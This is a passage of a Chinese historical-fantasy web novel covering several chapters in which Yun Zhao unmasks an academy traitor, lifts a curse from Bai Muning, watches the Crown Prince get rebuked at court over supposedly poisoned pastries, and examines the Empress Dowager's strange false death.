确实,平日里书院就少有外人来访,高墙深院,即便有外人进入,也很难不引起师生注意。
他不由看向云昭:“那该如何是好?”
云昭心中叹息:也真是怪了!那林静薇与苏玉嬛母女何等精明势利,不想自己这大舅舅瞧着模样斯文,竟是个傻的。
她故意朝苏凌岳招了招手。
苏凌岳因已见识过云昭的手段,明知此举有失身份,但还是按捺不住心中好奇,欠身凑近。
云昭在他耳边装模作样低语两句,随后扬声道:“就是这样!”
苏凌岳脱口而出:“什么?”他分明什么也没听见!
云昭自腰间取出一枚平安符,郑重放入苏凌岳掌心:
“请苏司库持此符,逐一走过各人。若是**之人,此符自会昭显!”
苏惊澜闻言惊愕道:“若那人身上已无**,也能管用?”
“腐萤草毒颇为特殊,”云昭淡然解释,声音却清晰地传遍寂静的膳堂,
“但凡触碰过,三日之内,气息都会附着在身。我这符,正是为此特制。”
苏凌岳只觉得掌心那枚轻飘飘的符箓,此刻重逾千钧!
可心底又泛起一抹隐秘的欢喜——
这么重要的事,外甥女竟交给他来做,足可见是看重他的能力。
感受到老父亲和两位侄儿殷切的目光,他不由挺直腰板,脸上浮现庄严神色,迈着方步走向邻桌的几位夫子。
膳堂内落针可闻,所有人都屏息凝神,目光紧随那枚平安符移动。
就在苏凌岳即将越过一个青衫学子身旁时,云昭忽地重重咳了一声!
那学子如惊弓之鸟,猛地一跃而起!
苏惊澜眼明手快,一个箭步上前将人制住,反剪双臂按倒在地。
“我不是故意的!”那学子抱着脑袋嘶声大叫,“那人只说想进书院看看,给了我十两金子!我、我一时糊涂就放他进来了!
后来我瞧见他往井水里倒了什么东西,想抓他,却被他所伤!”
他慌忙举起双手,露出手背上新鲜的伤痕,“这就是证据!”
苏凌岳痛心疾首,指着他的手都在颤抖:
“书院清贫,却从不短你吃穿!你为十两金子,就出卖了全书院三百七十六条性命!枉你苦读圣贤书,你的品行呢!你的风骨呢?!”
那学子涕泪横流:“学生知错了!学生真的知错了!”
与他同桌的学子拍案而起,怒目而视:“难怪你今日滴水不沾!既知有错,为何不早早示警?其心可诛!”
那人不甘反唇相讥:“你们这不都活得好好的!”
苏凌岳气得一个趔趄,幸得身旁学子扶住。他指着对方,声音发颤:“冥顽不灵!冥顽不灵啊!”
一时间,膳堂内群情激愤,谴责声此起彼伏,甚至盖过了楚大夫焦急的呼喊:“苏小公子!你快下来!你后背和前胸的伤不能再裂开了!”
苏惊澜这才从那人身上起身,额角已沁出细密汗珠。
李副将上前,利落地将那名学子反绑。
云昭转向苏文正,微微颔首:“如何处置,但凭山长决断。”
苏文正目光扫过全场,最终落在那名面如死灰的学子身上,声音沉静却自有千钧之力:
“不是所有过错,都配得到宽恕。你既选择了这条断头路,就该承受应有的代价。”
他朝李副将拱手,“劳烦将军将此人押送京兆府,交由赵大人依法严办。”
那学子被扭押着经过苏文正身边时,突然面目狰狞地厉声诅咒:
“得饶人处且饶人!苏文正,你处处坚持你那套原则,不还是被陛下申饬,连官位都保不住!
你如此赶尽杀绝,就不怕不得善终吗!”
第126章 为救妹妹,自损二十年寿命
这恶毒的诅咒让满堂哗然。
苏文正却神色不变,目光如古井无波,他缓缓开口,声音清晰地传遍每个角落:
“老夫身正不怕影斜,寿数自有天定。
倒是你,圆滑投机,不守原则,如今不还是前途尽毁?
有些钱财,只怕你有命拿,没命花!”
这话掷地有声,顿时引来学子们一片激昂陈词:
“苏山长为民**才遭贬黜,岂是你能妄加评判的!”
“山长高义!吾辈读书人,当以山长为楷模!”
“说得对!守正不阿,方是我辈风骨!”
在一片赞誉声中,云昭静静凝视着自家这位外祖父,唇边泛起一丝几不可察的笑意。
此人,倒真是对她胃口。
为人清正却不迂腐,坚守原则却不失变通。
最重要的是——骂起人来,当真是痛快淋漓!
墨七悄无声息地潜回云昭身边,与她低声耳语:“追至将家村附近,那人的气息突然断了。可要调派人手,将整个将家村围起来?”
又是将家村?
云昭眸光微凝。
雪信母女便是将家村人,孙婆子与小莲出事前也曾在那里居住,如今这神秘的薛九,竟也在将家村一带失去了踪迹……层层叠叠的线索,仿佛都指向这个看似寻常的村落。
她指尖在袖中轻轻掐算,面上却不动声色:“暂且按兵不动,以免打草惊蛇。”转而看向李副将,“大师可请来了?”
恰在此时,一名士兵快步从膳堂外奔入,拱手禀报:“启禀司主,有悔大师已至。”
云昭起身,对苏文正道:“苏山长若是感兴趣,不妨一同前来观瞻。”
今日她分身乏术,无法立即解决断梁咒之事。
但她看得出,这位外祖父是真正的明眼人,面对未知从不故步自封,反而善于观察推演。
让他逐步了解玄术的奥妙,在她无暇分身这几日,或能助他保全自身。
一行人穿过回廊,步履匆匆地来到书院深处一间僻静的厢房。
白羡安早已在门口焦灼地踱步,见云昭身后还跟着一位宝相庄严的老和尚,他脸色稍缓,急忙道:"司主,快请吧!"
云昭也不多作寒暄,将有悔大师径直带到白慕宁榻前。
少女静静地躺在锦被之中。
不同于之前的癫狂若魔,此时的白慕宁面色灰败,唇色发青,若不是胸口还有微弱的起伏,几乎与**无异。
“大师请看。”云昭轻声道,“我于降头术一道所知有限,若以‘破妄清心咒’强行解降,不知可否救回**性命?”
“阿弥陀佛。”有悔大师俯身细观,眉头越皱越紧,“施主有所不知,咒术与降头虽同属玄门,却有天壤之别。
咒术如锁,只需寻得正确的钥匙便可解开,若是解术者极为强大,甚至可以尝试强行破门;
而降头如蛊,但又比蛊更为阴毒,是两伤之术。施降者以自身为代价降咒,解术者,即便你道行再高,倘若强行拔除,也必遭反噬。”
他看向一旁脸色惨白的白羡安,意味深长道:
“此术名为‘血噬降’,能施以此术害人,对方必定下了极大的决心。施降者至少耗费二十年阳寿,才在这位**身上种下如此恶毒的降头。”
白羡安年纪轻轻便官至大理寺卿,经手悬案无数,与各色人等周旋往来,早已练就了一瞬间洞察关窍的本事。此刻心念电转,刹那间便将前因后果串联分明——
“阿宁……是替我受过!”
他身形猛地一晃,仿佛被无形重锤击中,抬眼时正对上云昭那双清洌如寒潭的眸子。
这一刻,云昭当日在姜家门前掷下的诛心之言,字字句句如惊雷般在他脑海中炸响:
“你说你妹妹无辜?她当真无辜吗?你赚来的银钱,她花用了!你牟利得来的风光,她享受了!
若你妹妹今日果真遭遇不幸,那也是你们白家积下的业障,是你白羡安种下的果报!与我何干?
若她今日救不回来,那也是你这做兄长的,刚愎自用,亲手断送了她的生路!”
白羡安浑身剧烈颤抖,两行热泪不受控制地夺眶而出,在那张向来冷静自持的脸上划出狼狈的痕迹。
他再不顾什么官威体统,猛地掀开衣摆,“咚”的一声双膝跪地,朝着云昭与有悔大师深深叩首:
“求司主、大师慈悲!白某愿以毕生寿元相抵,但求换我妹妹一线生机!”
云昭依照有悔大师的指点,屏息凝神,双手结印。
她指尖泛起淡金色的光芒,如游丝般探入白慕宁眉心——
这并非强行破除对方咒力,而是以自身灵力为引,小心翼翼地探寻着降头术的脉络。
有悔大师在一旁沉声指导:“降头如藤,根植血脉。施主需以咒为刃,断其根本,却不可伤及宿主分毫。”
云昭能清晰地感知到那“血噬降”如同无数细小的血虫,正贪婪地蚕食着白慕宁的生命力。
自重生以来,她擅长的是各式咒术,且从不畏与对方正面对上,此刻却要做这精细如绣花的活计,每一个动作都需耗费数倍心神。
这是云昭首次在他人辅佐下对抗降头术,只觉得体内真气如江河奔涌般急速消耗,额间已渗出细密汗珠。
“就是现在!”有悔大师低喝。
云昭眸光一凛,指尖金光骤然大盛,化作万千细密符文,如一张天罗地网将那些血虫尽数笼罩。
只听一声几不可闻的碎裂声,白慕宁周身泛起一层血色薄雾,随即消散在空气中。
就在降头被破除的瞬间,跪在床前的白羡安发出一声闷哼。
众人惊见他一头乌发以肉眼可见的速度变得雪白,面容顷刻间苍老了许多,仿佛一下子老了二十岁!
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“阿弥陀佛。”有悔大师双手合十,长叹一声,“白施主以寿元相抵,姜施主仁心仁术,**身上的降头已解。只是桃花咒尚在,还需从长计议。”
云昭微微颔首,这一点她心知肚明,白羡安也早有准备。
白羡安伏在妹妹床边,声音哽咽却透着释然:“多谢司主不计前嫌,救我妹妹性命。明日午时,白某必定信守承诺,当着全城百姓的面,承认那日在公堂之上犯下的罪孽。”
云昭听得出他此刻的真诚,心中却并无波澜。
若非亲眼见到相依为命的妹妹因他之故命悬一线,这个向来刚愎自用的男人,又岂会如此痛快地低头认错?
白羡安是聪明人,擅长权衡利弊,精于审时度势。可越是这样的聪明人,往往越是不见棺材不落泪!
对于他,云昭生不出半分同情。
若真要怜悯,那些因他一己私欲而家破人亡的少女及其亲人,才更值得她放在心上。
一旁的李副将神色复杂地看着这一幕。
按理说,他最能体会白羡安此刻的心情。可他的妹妹就是死在永熙王那一干人手中!更别提那夜在青莲观,他可是亲眼目睹,白羡安是如何阻挠办案、大耍官威的!
云昭转向有悔大师,郑重施礼:“今日多谢大师指点。”
“姜施主客气了。改日贫僧在碧云寺扫榻相迎,施主若有闲暇,可来寺中一叙。”
一旁的楚大夫早已掏出随身携带的小本子,运笔如飞地记录着方才的每一个细节,眼中满是求知若渴的光芒。
苏文正也饶有兴致地开口道:“老夫早年游学时便听闻,有悔大师曾远赴天竺佛国,遍览梵文典籍,对南洋降头之术颇有研究。今日得见,果然名不虚传。”
“苏山长过誉了。”有悔大师谦和还礼,“贫僧不过是多走了几步路,多读了几卷经罢了。微末见识,不足挂齿。”
云昭将有悔大师请到一旁角落,低声道:“晚辈还有个不情之请。”
“姜施主向来不是拐弯抹角之人,但说无妨。”
“苏山长身中断梁咒,此乃风水诅咒中的一种,源于鲁班术中的厌胜之法。我今夜必须离开,想请大师在书院多留几日,代为看护。”
说着,云昭从随身药箱中取出一个锦盒:“一点心意,权当酬谢。”
有悔大师打开一看,眼中顿时闪过惊喜之色:
“这是从蜃楼蝉翼上取下的?真是难得的好东西。”他细细端详,喃喃道,
“若用此物为伤者敷贴,日后为病患开刀接骨,便可大大减轻痛楚。”
云昭见他真心喜爱,不由莞尔。
就在这时,门外传来一阵急促的脚步声。
一名侍卫匆匆而入,朝云昭行礼道:
“陛下有令,急召司主入宫!”
云昭眸光一凝——
难道是萧启在宫中出了什么变故?
第127章 朕就废了你!
皇宫,清凉殿。
殿内四角置着冰鉴,散发的丝丝寒气勉强抵御着盛夏酷暑。
皇帝正与萧启言笑晏晏,手边玉盘里盛着精致的清凉糕与荷花酥。
“父皇!”一声急唤打破殿内祥和。
太子不顾禁军侍卫阻拦,衣袂带风地冲进殿内,不知是累还是急,竟满头大汗!
皇帝抬首,一见是他,眼中笑意瞬间冻结:“放肆!”
“朕看你是愈发不知天高地厚,连朕的圣旨都敢视若无物!三番两次闯宫,你这眼里可还有君父?!”
自佛诞日皇帝命太子闭门思过,一是实在厌烦见他,二来,也是想让京中那些关于太子与贵妃的污糟流言冷一冷。
皇帝心知肚明,以太子性情,绝不可能真正安分。但只要不越过底线,些许小动作他可以容忍。却不想这逆子竟一次次地舞到他眼前来!
他怎么会生出这么个蠢钝如猪的儿子!
太子绕过噤若寒蝉的侍卫,一眼便瞧见萧启正站在御前,姿态闲适。
他目光疾扫,未见那要命的柏木桶,心头刚稍稍一松,却骇然看见皇帝手中正拈着一块清凉糕往口中送去!
“父皇!”太子失声惊呼,再看向萧启时,他眼神已然变了。
为了能在御前告他一状,甚至不惜隐瞒事实,当场瞧着父皇吃下有毒的糕点?
萧启,你够狠!
他疾步上前,顾不得礼仪,一把拂落皇帝手中的糕点:“父皇,不能吃!”
皇帝口中尚在咀嚼,被这突如其来的冒犯激得大怒:“逆子,你——!”
太子想伸手去抠,又觉大不敬,急得几乎跳脚:“父皇!快吐出来!这糕点有毒啊!”
不等皇帝开口,一旁的常公公先不干了:“太子殿下慎言!”
常公公痛心地看着地上摔在地上的清凉糕,“这糕点乃是苏老大人一片心意,老奴亲自验过,绝无问题!”
他弯下腰,小心翼翼地拾起其中一块,双手奉至面色深沉的皇帝面前,“陛下,您看这……”
皇帝面沉如水,眼底似有风暴凝聚:“萧鉴!你又在发什么癫!”
一旁,萧启好整以暇地拈起一块荷花酥,在太子惊疑不定的目光中,慢条斯理地咬了一口,甚至还朝他几不可察地扬了扬眉梢。
太子心头猛地一沉:不对劲!
他死死盯着萧启手中的荷花酥,脑中思绪急转,却如同陷入重重迷雾。
“萧鉴!”皇帝的声音如同惊雷炸响在他耳边,“你最好给朕一个合理的解释!”
太子一个激灵,猛地回神。
眼见常公公正示意小太监收拾地上狼藉,他竟一个箭步冲过去,不顾体面地从碎片中抓起一块糕点,塞进口中!
这番近乎癫狂的举动,出现在向来注重仪态、温雅自持的太子身上,简直违和到了极点!
皇帝都看得愣了一瞬,一旁常公公更是连忙阻拦:“哎呦我的殿下!使不得啊!这糕点掉在地上已经脏了……”
太子飞快咀嚼几下,强行咽下口中沾着尘土的糕点,抬起脸时,眼中已盈满悲壮与决绝:
“父皇!儿臣此举,并非失心疯癫,而是要向父皇表明心迹!”
他声音哽咽却坚定,重重叩首:“今日书院之事,无论缘由如何,归根结底是儿臣失察,是儿臣之过!
若这糕点真有不妥,致使父皇圣体受损,那儿臣万死难赎其罪!儿臣岂能独善其身?
唯有与父皇同甘共苦,甚至……代父受过!若这糕点真的有毒,儿臣愿先父皇一步承受!这才是为人臣、为人子之道!”
皇帝的目光在一脸悲怆的太子与身旁气定神闲的萧启之间扫过,一时默然不语。
太子语带悲切,深刻反省:“今日竹山书院之事,皆因儿臣一时不察,错信那江湖女子,险些酿成大祸,连累书院数百师生!
儿臣自知罪孽深重,不敢求父皇宽宥,唯愿领受一切责罚!”
他言辞恳切,说到动情处,眼圈已然泛红,倒真有几分痛悔莫及的模样。
这原是他来时路上苦思的对策。
既然萧启不要脸,非要把这事捅到御前,甚至连木桶这样的“证物”都带上了,等待他的,必是皇帝的雷霆震怒。
他毕竟是太子,是皇帝嫡亲的儿子,与其与萧启辩驳,还不如如实陈情,至少还能博得父皇心软!
如今大殿之上并不见那木桶的踪影,显然,自己来得及时,萧启这是尚且来不及禀报!
太子一面暗自庆幸,一面抬眸,意味深长地瞥了萧启一眼。
随即,他话锋一转,带上几分委屈与不解:“只是……儿臣万万没想到,堂兄今日亦在书院,亲眼目睹儿臣为学子们施药,亦知儿臣是受人蒙蔽。
他面见父皇,却不先**原委,竟任由父皇食用这清凉糕!”
他猛然起身,神情焦灼,“父皇!为保万全,还是速请御医前来诊视吧!
即便这糕点所含井水不多,但圣躬安危关乎社稷,岂能儿戏?务必请御医看过,儿臣方能安心!”
然而皇帝并未如太子预料那般,转而对萧启怒斥,反而疑惑道:“你说这糕点有毒……是听何人所言?”
“是苏老大人亲口告知!”太子面露恰到好处的迟疑,“难道苏老大人他……并未对儿臣言明实情?”
萧启此时方悠悠开口,声音平稳无波:“苏老大人岂敢欺瞒太子殿下?
实在是当时殿下听闻书院井水出了问题,带在身边那女冠又当场毙命,殿下一时头痛发作,匆匆离去,未能见到后续。
新任玄察司大人,已逐一查验书院四口井水,证实并非所有井水皆被**。”
这正是萧启临走前,与云昭共同议定的说辞。
当然,事实也确如云昭所料,四口井中仅两口有毒。即便陛下日后深究,也寻不出破绽。
此言一出,太子脸色瞬间铁青。
萧启见状,轻哂一声,对皇帝道:“陛下,太子殿下既有诚恳认错之心,您也不必过于动气了。”
“诚恳认错?”皇帝冷笑一声,目光如刀锋般刮过太子惨白的脸,“朕看他分明是做贼心虚,以小人之心度君子之腹!非但毫无悔过之意,反而处处攀扯他人,试图混淆视听!”
皇帝是何等人物,浸淫权术数十年,洞悉人心。
从听萧启禀报书院风波,到共品苏文正进献的糕点,再到亲眼目睹太子这番慌不择路的表演——
太子说多错多,越是辩解,越是将其内心的算计与惶恐暴露无遗!
太子被皇帝一句句诛心之言斥得面无人色,忍不住抗辩:“父皇!儿臣绝无此意!儿臣有错,也只错在识人不明!绝无故意坑害苏老大人与书院学子之心!儿臣对苏老大人,素来敬重有加!”
皇帝不再与他多言,只冷冷命令一声:“抬进来!”
两名内侍应声而入,将那只熟悉的柏木桶重重放在太子面前。
太子一见此桶,脸上血色
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尽褪,身形微晃。
“朕没做过太子,但朕做过皇子!”皇帝声音不高,却带着千钧之力,字字砸在太子心上,“你今日去书院存得什么心思,你比朕更清楚!滚出去!”
他抬手指向殿外,厉声喝道:“让你的人,把这桶给你原封不动抬回东宫!
从今日起,你每日对着它,给朕好好反省!
万寿节前,不准踏出东宫半步!若再让朕知晓你私自外出,蓄意生事——”
皇帝语顿,目光冰冷如铁,“朕就废了你!”
“废了你”三字,如同九天惊雷,在萧鉴头顶轰然炸响!
他浑身剧震,难以置信地望向御座之上的君父。
随即,他又看向一旁静立的萧启,温润的眉眼间第一次无法抑制地流露出狠戾之色。
他僵硬地躬身行礼,垂下眼帘,掩去眸中翻涌的惊涛骇浪。
萧鉴心中冷笑:废了我,谁能继位?
是那跛足的老五,还是风一吹就倒的药罐子老七?
你与母后仅育我一子,其余妃嫔生的庶子,个个都不成器!
难不成,你真舍得将这好不容易从已殁太子侄儿手里夺来的江山,交给萧启?
可惜了,父皇,任你如何偏爱,你这宝贝侄儿萧启,也绝对活不过今年寒冬!
*
宫门处灯火通明,云昭率李副将一行人刚至,恰见宫门洞开,太子的车驾正缓缓驶出。
令云昭略感诧异的是,紧随东宫仪仗之后的,竟是一驾再普通不过的平板马车。
车上别无他物,只孤零零地载着一只硕大的柏木桶——
正是午后在竹山书院,太子用以施药的那只。
车帘被一只骨节分明的手掀开,太子萧鉴的面容在宫灯映照下半明半暗,目光恰好与云昭略带探寻的视线撞个正着。
他眉心几不可察地一蹙。
如此深夜,父皇竟宣召云昭入宫?萧启此刻定然仍在宫中,他们三人……莫非有何密议?
疑虑如藤蔓般缠绕心头,未及深想,腹中忽地传来一阵尖锐绞痛。
太子脸色一白,立时想起那块自地上拾起、仓促咽下的清凉糕。
那清凉糕本以荷叶、薄荷、绿豆、茯苓等物精制,有清暑益气、宁心安神之效。可掉落在地,难免沾染污秽。
也不知是今日急火攻心,还是这位东宫储君平日里饮食过于精细,肠胃竟受不住这等“磨砺”,此刻已是翻江倒海。
他咬着牙,低声催促车外的灵峰:“再快些,速回东宫!”
太子回到东宫后,如何度过这鸡飞狗跳、不得安宁的一夜,暂且不表。
且说云昭随一位面生的小内侍默默前行,心中亦在纳罕。
陛下于此时急召,莫非书院之事横生枝节?
可观太子方才那阴郁至极的脸色,萧启那边按说应是顺利的。
行至一座宫殿前,引路的内侍悄然退至一旁,云昭脚步微顿。
夜色浓稠,眼前殿宇竟是一片沉寂的黑,不见半分灯火。
唯有殿前立着的几人身后,太监手中提着的灯笼散发着昏黄幽光,在夜风中微微摇曳,将人影拉得忽长忽短。
皇帝身着一件玄青色暗纹常服,负手立于阶前,夜风拂动他宽大的袍袖,平添几分难以捉摸的神秘。
萧启静立其侧,见云昭到来,他目光与她短暂交汇,几不可察地微微摇头。
皇帝回首,面容在晃动的灯影下看不真切,只朝云昭招了招手,示意她过去。
第128章 云昭再下咒锁姜府!
云昭依言上前。
常公公无声地推开沉重的殿门,对她做了个“请”的手势。门内一片漆黑,仿佛噬人的巨口。
皇帝的声音在她身侧低沉响起,带着一种难以言喻的郑重:“阿昭,你如今是渊儿的王妃,更是朕亲封的玄察司主。
今夜之事,关乎宫闱隐秘,朕思来想去,再没有比你更合适的人选了。”
云昭听出这话里的深意,正欲开口反驳,她也不是什么活儿都接,皇帝却已继续道:
“约莫半个时辰前,太后宫中的掌事宫女匆忙来报。说太后今日……很不对劲。”
他顿了顿,声音压得更低,“午后开始,太后忽然容光焕发,精神亢奋异常,直至就寝后,那宫女如常上前为太后掖紧被角,却发现……太后竟然气息全无。”
云昭闻言,眉峰几不可察地一蹙。
不知怎的,她想起之前那负责羁押梅柔卿的侍卫禀报——
说是押送梅柔卿至姜府门前时,正遇上姜绾心回府,对方不仅亮出了太后凤簪,更以太后宣召梅氏明日入宫为由,将人带回了姜府。
难道太后的异常,竟与姜绾心和梅氏有关?
她面上不露分毫,只沉静道:“陛下,在臣女为太后诊查之前,需先询问那位报信的宫人几句。”
皇帝微一颔首,一名身着石青色宫装的宫女快步上前。
云昭目光清凌凌地落在她身上:“太后今日都见了何人?用了何物?可还有其他异于平常之处?”
宫女垂首道:“回司主,今日午后,太后娘娘召见了姜家二小姐。但后来,娘娘突然屏退左右,殿内只余太后与姜二小姐二人。期间殿门紧闭,发生了什么,奴婢等一概不知。”
皇帝听到此处,眸色已然转深。
宫女又接着道:“待到奴婢们被重新宣入殿内时,只见太后娘娘面色红润,精神极好。并派两名禁军护送姜二小姐回府。
临走前,还将她年轻时最珍爱的那支九凤衔珠赤金步摇赏给了姜小姐,并吩咐明日要宣姜府的梅娘子入宫觐见。”
云昭不再多问。
在场的都是人精。
莫说是皇帝,便是眼前这宫女,既能将太后伺候得妥帖周到,又能敏锐察觉异常并及时上报,又怎会对今日之事毫无猜测?
她朝皇帝敛衽一礼:“臣女这便入内为太后查看。”
云昭刚一迈过门槛,萧启便已无声地紧随其后。
皇帝看着他这般急切护持的模样,不禁轻嗔了句:“轻狂!”
然而那眼角眉梢,却难以抑制地流露出一丝欣慰的笑意。
常公公在一旁适时含笑低语:“靖王殿下这般情状,真真是像极了陛下当年。”
皇帝闻言,眼底掠过一丝若有若无的怅惘:“朕与他不同。朕当年向父皇请旨时……便知道,一切都太迟了。”
他与心中那人,终究是一步之差,一生错过。
殿内。
萧启取出一枚鹅卵大小、流转着温润光华的夜明珠,用以照明。柔和的光晕驱散了部分黑暗,却更衬得殿内气氛诡异。
云昭缓步走至凤榻前,凝神细察太后情形。
那宫女所言非虚。
榻上的太后面色红润如常,触手肌肤温热柔软,眼皮之下,眼珠甚至还在微微转动,宛如常人熟睡做梦。
然而,她的胸口却不见丝毫起伏,鼻息更是全无!
无怪乎那宫女会觉得毛骨悚然,即刻上报。
云昭心中沉吟,并未贸然触碰。
她悄然运转玄瞳,眸中闪过一丝极淡的金芒,看向太后周身。
这一看之下,她心头微凛——
太后体内气息流转的方式,诡谲异常,竟是她从未见过的景象!
她忽然想起此前从有悔大师处借阅的那两本关于蛊术的典籍,其中一段记载蓦然跃入脑海。
她心中已有猜测,小心地俯身,轻轻掀开太后的眼皮。
借着夜明珠的光辉,她看见太后眼皮内侧,赫然有一颗殷红如血、细如针尖的小点!
那红点仿佛有生命般,在光线下泛着妖异的光泽,隐隐还在微微搏动!
云昭心头一凛,轻轻放下太后的眼皮,朝萧启递去一个眼神。
两人默契地放轻脚步,悄然退出了内殿。
众人移至殿外廊下。
皇帝立刻追问:“如何?”
云昭思忖片刻,并未和盘托出,只谨慎答道:
“太后娘娘应是服用了某种特殊之物,才导致出现此等假死之状。”
她虽隐瞒了对蛊术的猜测,但所言俱是实情,“而且,太后娘娘的肌肤状态……似乎重返青春,细腻光润远胜往常。”
说到此处,她话语微顿,抬眼迎上皇帝的目光,语气凝重:
“恕臣女直言,臣女虽遍览医书,也曾与诸多奇人异士交流,却从未见过有何种药物或方法,能令人重返青春,却无需付出任何代价。
太后娘娘眼下这般情形,恐怕……臣女也无力回天。”
皇帝脸色一瞬间变得极为阴沉。
良久,他才缓缓吐出一口气,声音带着一丝疲惫:“朕知道了。”
他转向萧启,“今日劳你深夜入宫一趟。时辰不早了,让渊儿送你回去。”
言罢,他像是忽然想起什么,语气稍缓,又问云昭:“昭明阁,住得可还习惯?”
云昭垂眸:“回陛下,昭明阁很好。只是若来找臣女的案子能少些,就更好了。”
皇帝闻言,竟是低笑了一声,那笑意中带着些许感慨:
“少年人身负大才,正是该锐意进取之时。朕在你这个年纪,每日在南境征战,亦是忙得脚不沾地。”
他的目光落在云昭身上,带着毫不掩饰的欣赏,“渊儿眼光很好。你,很好。”
云微微垂首,不再多言。
皇帝摆了摆手,又对萧启道:“明日你还入宫来。”
萧启应了一声,便与云昭一同告退。
登上马车,萧启看着身旁难掩倦色却依旧脊背挺直的云昭,眸中情绪翻涌:“闭眼歇会儿,我让车驾直接回昭明阁。”
云昭摇了摇头:“去姜府。”
她脸上难掩倦色,但眉眼间却是一派清明,“我同赵大人打过招呼,今夜要提审家中那位梅姨娘。”
她抬眼看向萧启,压低了声音:“况且,我怀疑太后之事,与梅姨娘、以及从回春堂逃脱的那个薛九脱不开干系。”
*
夜色如墨,姜府内却灯火通明,弥漫着一种近乎癫狂的喜悦。
对姜家众人而言,这无疑是跌宕起伏、惊心动魄的
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一日。
晨光初露时,姜绾心被东宫车驾亲自护送回府,这份殊荣如同投入干涸野地的星火,瞬间点燃了姜世安与姜老夫人心中压抑已久的野心。
随后与三房分家、同苏氏和离,诸事顺遂得超乎想象。事后想来,那顺利背后,仿佛有一只无形的手在推波助澜。
直到姜世安踏入京兆府,无意间听闻衙役窃语,才如冷水浇头,骤然惊醒:永熙王萧玦,必定是出事了!且是塌天的大事!
他深恨自己如今被禁足府中,远离朝堂,否则必能提早听到一些风声。
然而傍晚时分,姜绾心戴着太后亲赐的凤簪归来,还救下了被姜云昭在药堂强行扣下的梅氏,给了姜家上下莫大的信心!
“这可是天大的造化啊!”姜老夫人激动得双手发颤,“我就说,咱们心儿是有大福气的!”
她拉着姜绾心的手,忍不住老泪纵横:“日后心儿成了太子妃,又有太后撑腰,往后的路必定是锦绣前程,一帆风顺!”
若说有什么美中不足,便是姜珩至今下落不明。
老夫人叮嘱姜世安:“明儿个多派些人,务必把珩哥儿找回来。是不是那女人的种有什么要紧?他生母那点事,除了咱们自家人,谁也不知道。
如今心儿都是铁板钉钉的太子妃了,珩哥儿,就是太子的大舅哥,未来的国舅爷!前途好着呢!你叫他放宽心,赶紧回来!”
话音未落,门房福安连滚爬爬地冲了进来,气喘吁吁地喊道:“回来了!公子回来了!”
姜世安闻言,眉眼稍展。
姜老夫人更是喜上眉梢,拄着拐杖便要起身:“快!全家都去迎我孙儿回府!”
姜世安与老夫人几乎同时疾步而出,姜绾心也心情愉悦地跟了上去。
唯独梅柔卿落在最后,面色晦暗不明。
今日回春堂寻薛先生被姜云昭打断,至今不知先生安危!
明日便要入宫觐见太后,她心中暗忖:薛先生所赐之药,必是功效非凡,否则太后不会刚得了药,便急于召见!看来今夜无论如何,必须设法出去一趟。
回春堂自是去不得了。幸而薛先生神机妙算,早已预料可能生变,另约了一处隐秘之地,以备不时之需。
走在前头的福安已用力推开大门,随即哭丧着脸回头:“奴才方才就想说,这门……门能开,但人出不去啊!”
姜世安闻言脸色骤变。
急于见孙子的姜老夫人却按捺不住,斥道:“胡说什么!”
她亲自上前,赫然看见姜珩就站在门外咫尺之遥,嘴唇焦急开合,却无一丝声音传入。
他们之间,仿佛隔着一层无形无质、却坚不可摧的透明屏障!
“妖法!妖法!”姜老夫人骇得魂飞魄散,双腿一软,瘫倒在地。
守在不远处的李副将手下见状,险些笑出声来——
此等手段,定是他们司主大人的手笔!
梅柔卿目睹此景,猛地**一步,一股寒意自脚底窜上脊梁。
今夜情形,与花神宴那晚她咒术反噬、口吐鲜血时的诡异感觉何其相似!
而那晚过后,次日清晨,姜云昭便将姜家上下告上了京兆府!
梅柔卿不禁生生打了个寒战,姜云昭!她这次又要做什么!
第129章 带兵闯姜府!
就在姜家众人焦灼万分之际,梅柔卿忽而上前,从袖中取出一颗鸽卵大小的琉璃珠。
珠子通体晶莹,内里仿佛封存着一缕流动的月华,隐约可见细密的金色符文在其中流转——
正是薛先生赠她的“破障珠”。
她姿态隐秘地将那珠子往屏障前轻轻一凑,只见一道淡金色的波纹,以珠子为中心荡漾开来。
无形的屏障竟如冰雪消融般,悄然碎裂。
姜珩正用力推打着屏障,一个收势不及,整个人趔趄着栽过门槛,眼看就要朝面前的姜绾心重重砸倒!
电光火石间,他本能地一个旋身,长臂一伸将站在近前的姜绾心揽入怀中,另一只手迅速撑地,借力翻身,硬生生将自己垫在下方。
“砰”的一声闷响!
姜珩的后背结结实实撞在青石板上,疼得他闷哼一声,却仍不忘用双手牢牢托住姜绾心的腰肢,将她稳稳护在怀中。
姜绾心吓得花容失色,待惊魂稍定,才发现自己竟被兄长用这般亲密的姿势抱着,毫发无伤。
兄妹二人四目相对,姜绾心清晰瞧见,姜珩眼底未散的惊慌与浓得化不开的在意,不由心坎一甜,颊边泛起绯红。
她轻轻扭捏身子,嗓音柔得能滴出水来:“兄长……”
一旁丫鬟这才反应过来,连忙上前将姜绾心搀扶起身。
姜珩也跟着站起,率先朝姜绾心行了一礼:“唐突妹妹了。”又关切地上下打量,“心儿,没伤着吧?”
姜绾心轻轻摇首,眼波流转间尽是娇羞。
老夫人则快步上前,苍老的手不住抚着姜珩的肩膀、胸膛等处,一脸的心有余悸:“没事就好,没事就好。”
她温声劝道,“珩哥儿,以后遇事万不要再那般冲动想不开了。不管怎么说,你都是你父亲的种。
你母亲不是那苏氏,那又如何!
一个下堂妇,一个不守妇道的女人!本也不配做你的娘!”
姜珩在听到“不守妇道的**”这句时,轻垂的眼帘下闪过一丝阴鸷。
他点点头,语气平静无波:“孙儿知道,祖母疼我。”
老夫人搂住他的脑袋轻轻拍了拍,声音里满是宠溺:“你是祖母看着长大的嫡孙孙,祖母怎会不疼你!就是珏哥儿,在祖母心里,也永远越不过你去。”
姜珩转而看向一旁的姜世安,神色凝重:“父亲,我今日在外间,听到不少有关姜云昭的传言。
听说陛下不仅给她赐婚秦王,还将昭明阁赏给她做府邸,封她做玄察司主。如今她在京城风头无两,连那些正经官身的男子见了面,都要敬她三分。”
一旁姜老夫人劝道:"珩哥儿,阿昭虽然脾气不大好,到底有几分真本事。
况且如今她母亲与你父亲和离,她却不提搬出府去,可见心里还是把自己当作姜家人。”
她顿了顿,又继续道,“你两个妹妹,如今都是有大前程的。你也不必过于忧心,且安心在翰林院做你的修撰,用不了多久,陛下必定会封赏你的。我们姜家的女子,终究是要为家中男儿铺路的。"
姜世安面色不虞,但当着亲娘和儿女们的面,终究没将今日在京兆府欲吞吃和离书、又被驸马卫临拎着在和离书上印下官印那丢脸的一幕讲出来。
